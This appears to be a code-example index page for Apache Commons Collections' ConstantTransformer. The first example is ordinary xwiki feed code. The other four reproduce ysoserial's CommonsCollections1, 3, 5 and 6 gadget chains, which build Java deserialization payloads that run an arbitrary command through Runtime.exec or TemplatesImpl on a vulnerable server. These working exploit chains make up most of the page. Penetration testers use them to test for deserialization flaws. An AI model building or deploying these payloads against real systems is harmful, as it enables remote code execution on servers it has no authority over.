Examples with ConstantTransformer org.apache.commons.collections.functors.ConstantTransformer used on opensource projects

Example 1 with ConstantTransformer

use of org.apache.commons.collections.functors.ConstantTransformer in project xwiki-platform by xwiki.

the class DefaultWatchListEventFeedManager method getFeed.

@Override
@SuppressWarnings("unchecked")
public SyndFeed getFeed(String user, int entryNumber) throws XWikiException {
    XWikiContext context = contextProvider.get();
    Collection<String> wikis = store.getWatchedElements(user, WatchedElementType.WIKI);
    Collection<String> spaces = store.getWatchedElements(user, WatchedElementType.SPACE);
    Collection<String> documents = store.getWatchedElements(user, WatchedElementType.DOCUMENT);
    List<Object> parameters = new ArrayList<Object>();
    ActivityStreamPluginApi asApi = (ActivityStreamPluginApi) context.getWiki().getPluginApi("activitystream", context);
    parameters.addAll(wikis);
    parameters.addAll(spaces);
    parameters.addAll(documents);
    Transformer transformer = new ConstantTransformer("?");
    List<String> wikisPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    wikisPlaceholders.addAll(wikis);
    List<String> spacesPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    spacesPlaceholders.addAll(spaces);
    List<String> documentsPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    documentsPlaceholders.addAll(documents);
    String listItemsJoint = ",";
    String concatWiki = " or concat(act.wiki,'";
    String query = "1=0";
    if (!wikis.isEmpty()) {
        query += " or act.wiki in (" + StringUtils.join(wikisPlaceholders, listItemsJoint) + ')';
    }
    if (!spaces.isEmpty()) {
        query += concatWiki + DefaultWatchListStore.WIKI_SPACE_SEP + "',act.space) in (" + StringUtils.join(spacesPlaceholders, listItemsJoint) + ')';
    }
    if (!documents.isEmpty()) {
        query += concatWiki + DefaultWatchListStore.WIKI_SPACE_SEP + "',act.page) in (" + StringUtils.join(documentsPlaceholders, listItemsJoint) + ')';
    }
    List<ActivityEvent> events = asApi.searchEvents(query, false, true, entryNumber, 0, parameters);
    SyndFeed feed = asApi.getFeed(events);
    setFeedMetaData(feed, context);
    return feed;
}

Example 2 with ConstantTransformer

use of org.apache.commons.collections.functors.ConstantTransformer in project ysoserial by frohoff.

the class CommonsCollections6 method getObject.

public Serializable getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    Transformer transformerChain = new ChainedTransformer(transformers);
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    HashSet map = new HashSet(1);
    map.add("foo");
    Field f = null;
    try {
        f = HashSet.class.getDeclaredField("map");
    } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
    }
    f.setAccessible(true);
    HashMap innimpl = (HashMap) f.get(map);
    Field f2 = null;
    try {
        f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
    }
    f2.setAccessible(true);
    Object[] array = (Object[]) f2.get(innimpl);
    Object node = array[0];
    if (node == null) {
        node = array[1];
    }
    Field keyField = null;
    try {
        keyField = node.getClass().getDeclaredField("key");
    } catch (Exception e) {
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }
    keyField.setAccessible(true);
    keyField.set(node, entry);
    return map;
}

Example 3 with ConstantTransformer

use of org.apache.commons.collections.functors.ConstantTransformer in project ysoserial by frohoff.

the class CommonsCollections1 method getObject.

public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return handler;
}

Example 4 with ConstantTransformer

use of org.apache.commons.collections.functors.ConstantTransformer in project ysoserial by frohoff.

the class CommonsCollections3 method getObject.

public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl }) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return handler;
}

Example 5 with ConstantTransformer

use of org.apache.commons.collections.functors.ConstantTransformer in project ysoserial by frohoff.

the class CommonsCollections5 method getObject.

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    valfield.setAccessible(true);
    valfield.set(val, entry);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return val;
}